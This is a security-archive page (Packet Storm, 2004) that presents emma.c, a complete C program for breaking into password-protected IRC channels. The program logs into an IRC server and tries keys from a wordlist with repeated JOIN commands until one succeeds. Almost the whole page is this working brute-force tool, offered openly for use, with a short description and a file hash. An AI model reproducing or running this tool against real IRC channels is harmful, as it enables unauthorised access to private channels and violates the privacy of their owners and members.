what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

emma.c

emma.c
Posted Apr 14, 2004
Authored by zorlag

IRC channel key cracking utility. It attempts to crack the key to a given channel by using words from a file.

SHA-256 | ab422cee8737ea8e5c574c2dc3cf07dd3b8bbbd6278ed4df240147fec34a9a96

emma.c

Change Mirror Download
/* emma.c - IRC channel key cracking utility
*
* by zorlag. (APR 2004)
*
* HI TO: angelo, dekadish, metoo &warlord ;)
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

#define NICK "_emma"
#define IDENT "emma"
#define RLNAME "i is just too cute...."

#define TIMEOUT 10 /* timeout needed to read the motd from server */
#define DELAY 5 /* delay between each try. 5 should be perfect */

int main(int argc, char *argv[]){
char *ip, *port, *target, *bleh, *bleheh, *keylst, *key;
char buf[1024], channel[100], blah[100], blahah[100], lstbuf[512];
fd_set rfds;
FILE *fp;
int s, l;
struct sockaddr_in sock;
struct timeval tv;

if(argc != 4){
printf("usage: %s <serv ip[:port]> <target chan> <file>\n\n", argv[0]);
exit(0);
}

ip = strtok(argv[1], ":");
if((port = strtok(NULL, ":")) == NULL)
port = "6667";

target = argv[2];
snprintf(channel, sizeof(channel), "#%s", target);
keylst = argv[3];

if((fp = fopen(keylst, "r")) == NULL){
perror("fopen() failed");
exit(0);
}

if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket() failed");
exit(0);
}

sock.sin_port = htons(atoi(port));
sock.sin_family = AF_INET;
sock.sin_addr.s_addr = inet_addr(ip);

if((connect(s, (struct sockaddr *)&sock, sizeof(sock))) < 0){
perror("connect() failed");
exit(0);
}

printf("connected to %s:%s\n", ip, port);

snprintf(buf, sizeof(buf), "NICK %s\n", NICK);
write(s, buf, strlen(buf));
snprintf(buf, sizeof(buf), "USER %s skit skit :%s\n", IDENT, RLNAME);
write(s, buf, strlen(buf));

while(1){
FD_ZERO(&rfds);
FD_SET(s, &rfds);
tv.tv_sec = TIMEOUT;
tv.tv_usec = 0;
l = select((s+1), &rfds, NULL, NULL, &tv);

if(l){
read(s, buf, sizeof(buf));
printf("%s\n", buf);

bleh = strtok(buf, " ");
bleh = strtok(NULL, " ");
snprintf(blah, sizeof(blah), "%s", bleh);

if(strstr(buf, "PING")){
snprintf(buf, sizeof(buf), "PONG %s\n", blah);
write(s, buf, strlen(buf));
}

memset(buf, 0, sizeof(buf));
}else{
printf("breaking into %s\n", channel);

while(!feof(fp)){
sleep(DELAY);

if((key = fgets(lstbuf, sizeof(lstbuf), fp)) != NULL){
printf("trying %s", key);

snprintf(buf, sizeof(buf), "JOIN %s %s", channel, key);
write(s, buf, strlen(buf));
read(s, buf, sizeof(buf));
printf("%s\n", buf);

if((strstr(buf, "353")) && !(strstr(buf, "NOTICE"))){
printf("WE ARE IN\n");
exit(0);
}

bleheh = strtok(buf, " ");
bleheh = strtok(NULL, " ");
snprintf(blahah, sizeof(blahah), "%s", bleheh);

if(strstr(buf, "PING")){
snprintf(buf, sizeof(buf), "PONG %s\n", blahah);
write(s, buf, strlen(buf));
}

memset(buf, 0, sizeof(buf));
}
}

printf("FUCKING SHIT!\n");
exit(0);
}
}
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close